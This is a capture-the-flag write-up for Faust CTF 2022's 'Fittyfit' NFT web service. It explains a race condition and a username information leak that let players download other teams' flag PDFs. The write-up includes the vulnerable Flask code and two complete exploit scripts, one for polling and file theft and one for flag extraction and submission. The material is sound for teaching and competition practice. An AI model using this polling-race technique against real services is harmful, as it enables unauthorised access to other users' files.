Challenge: Fittyfit
Author: d1l3mm4
Description: Download sensitive files using race conditions and info leaks
CTF: Faust CTF 2022
Category: A/D Web Service

Warning: unintended solution here :p

This challenge presents itself as a web service where to generate and exchange “NFTs”.
Here we can upload a pdf, set some attributes to tag it, transfer it to other users and download your files.

We focused our attention on the first of these steps.

When you generate a new NFT, there are two steps involved:

  • Upload the pdf file
  • Add the tags to the file

Between these steps, the file is in the data/nft/generator folder, waiting for it to be edited and moved to the data/nft/<username>/<hash>/ path.

@app.route('/generate', methods=['GET', 'POST'])
def generate():
    #...
    # UPLOAD
    if step == "upload":      
        # ...
        filename = secure_filename(file.filename)
        # Store file for generator
        path = os.path.join(app.config['NFT_FOLDER'], "generator", filename)
        file.save(path)
        return render_template("generate.html", step="generate", filename=filename)
@app.route('/generate', methods=['GET', 'POST'])
def generate():
    #...
    # GENERATE
    elif step == "generate":       
        # ...
        # Generate NFT
        path1 = os.path.join(app.config['NFT_FOLDER'], "generator", filename)
        path2 = os.path.join(app.config['NFT_FOLDER'], g.user.name, g.user.hash, filename)   

        succ = nft_transfer(app.config['NFT_FOLDER'], path1, path2, g.user.name, infos)
        if not succ:
            return render_template("generate.html", step="upload")

        flash("You succesfully generated your NFT :)", "green")
        return render_template("generate.html", step="done")

During this time, the file is accessible by anyone, i.e. there isn’t any access control on data/nft/generator folder, where files are temporarily stored awaiting for further processing. The only thing to know to query a file from there is the actual name of the file.

By looking at the traffic capture related to bot interaction with the service within a tick, we can see that the bot awaits some time between the file upload and the nft generation, maybe we’re lucky enough to try and read the file while it is still “processing”.

wireshark_screen

We’ve also noticed that the filename of the flag has the same UUID as the username of the bot who created it.

Knowing this, we can use another endpoint ( /search ), tied to the transfer functionality, needed to implement the auto-complete front-end function on the “target username” field in the form.

By making the following request to the endpoint: /search?s=MrFlag_, we obtain a list of the bot’s accounts.
With this, we have all the info needed to try to get the desired file.

Now, all we need to do is writing the exploit and hope for the best (in a busy network this approach is not very reliable).
We’ll start by creating a new user and signing in. After that, we’ll poll the search endpoint, looking for new bots registered.

When we find one, we start to poll the endpoint nft?file=generator/FlagNFT_{bot-UUID}.pdf, hoping to find a file to download.
If so, then we can read its content using a python library like PyPDF2 and with that we’re ready to submit the flag.

For this exploit we used two scripts, a multi-threaded one to dump pdf files to the local folder, and another one which makes polling on the folder to find new pdf files, read the contents of each one, submit flags and move them to another folder.
We managed to get ~300 attack points on this service during the CTF, running the script for 4 hours.

We provide here only the exploit stub of the first script and the complete second script.
The first one:

from random_user_agent.user_agent import UserAgent
from requests import get, put, post, Session, ReadTimeout, ConnectionError
import re
import random
import string
import time


def exploit(ip):
    # In our multi-threaded setup, an exploit stub has to return flags, but in this case
    # it always returns an empty list, because flags are read from files and submitted by
    # the other script
    BASE_URL	= 'http://[fd66:666:{}::2]:5001/'
    url = BASE_URL.format(ip)

    ua = UserAgent()
    user_agent = ua.get_random_user_agent()

    test_username = rand()
    
    with Session() as s:
        s.headers = {'User-Agent': user_agent}
        
        try:
            # Register
            burp0_url = url + "register"
            burp0_data = {"name": test_username}
            req = post(burp0_url, headers={'User-Agent': user_agent}, data=burp0_data, timeout=4)

            # Check error
            if "FAUST proxy" in req.text:
                return []
            expr_res = re.search(r'<b>([A-Za-z0-9]+)</b>', req.text, re.M)
            if expr_res:
                hash_user = expr_res.group()
            else:
                return []
            
            hash_user = hash_user.replace("<b>","")
            hash_user = hash_user.replace("</b>","")

            # Get password
            burp0_url = "https://mega-totp.faustctf.net:443/get_password"
            burp0_cookies = {"secrets": "\"[{\\\"s\\\": \\\""+hash_user+"\\\"\\054 \\\"n\\\": \\\"fittyfit\\\"}\""}
            burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "*/*", "Accept-Language": "en-GB,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://mega-totp.faustctf.net/", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://mega-totp.faustctf.net", "Connection": "close", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "DNT": "1", "Sec-GPC": "1", "Pragma": "no-cache", "Cache-Control": "no-cache"}
            burp0_data = {"s": hash_user}
            req = post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, timeout=4)
            password = req.text

            # Login
            burp0_url = url + "login"
            burp0_data = {"name": test_username, "pass": password}
            req = s.post(burp0_url, data=burp0_data, timeout=4)

            # Get initial UUIDs list
            burp0_url = url + "search?s=MrFlag_"
            req = s.get(burp0_url)
            prev = set(req.json().keys())
            while True:
                time.sleep(0.1)
                try:
                    burp0_url = url + "search?s=MrFlag_"                    
                    req = s.get(burp0_url, timeout=4)
                    cur = set(req.json().keys())
                    
                    if len(cur-prev) > 0:
                        attempts = list(cur-prev)
                        target_users = [usr for usr in attempts if "MrFlag" in usr]
                        prev = cur
                    
                    if len(target_users) == 0:
                        continue

                    # Try at most 10 times for each target user
                    target_users = set(target_users)
                    i = 0
                    while i < 10:
                        ok_users = set()
                        for target_user in target_users:
                            filename = target_user.replace("MrFlag","FlagNFT")
                            filename = filename + ".pdf"
                            burp0_url = url+"nft?file=generator/"+filename
                            req = s.get(burp0_url, timeout=4)
                            
                            if(req.status_code == 200):
                                ok_users.add(target_user)
                                with open(filename, "wb") as f:
                                    f.write(req.content)

                        target_users = target_users - ok_users
                        if len(target_users) == 0:
                            break
                        i += 1

                    time.sleep(0.25)
                except (ReadTimeout, ConnectionError):
                    break
        except:
            return []

    return []


def rand_string(min = 8, max = 12):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for _ in range(random.randint(min, max)))

The second:

import os
import PyPDF2
import time
from pwn import *


SUBMIT_FLAG = 'submission.faustctf.net'


def submit(flags):
    if type(flags) is not list:
        flags = [x for x in flags]

    flags = '\n'.join(flags)
    r = remote(SUBMIT_FLAG, 666)
    r.send(flags.encode())
    r.close()
    data = r.recvrepeat(timeout=2)
    print(data)
    return


if __name__ == "__main__":
    while True:
        time.sleep(5)
        files = os.listdir()
        files = [file for file in files if ".pdf" in file]
        flags = list()
        for file in files:
            try:
                reader = PyPDF2.PdfFileReader(file)
                flag = reader.getPage(0).extractText()
                flags.append(flag)
            except:
                print("ops")
        print(flags)
        if len(flags) == 0:
            continue
        while True:
            try:
                submit(flags)
                break
            except ValueError:
                print("Retry submit after 1 second")
                time.sleep(1)
        for file in files:
            os.system(f"mv {file} pdfs/")
        

Bonus pdf NFT with flag: here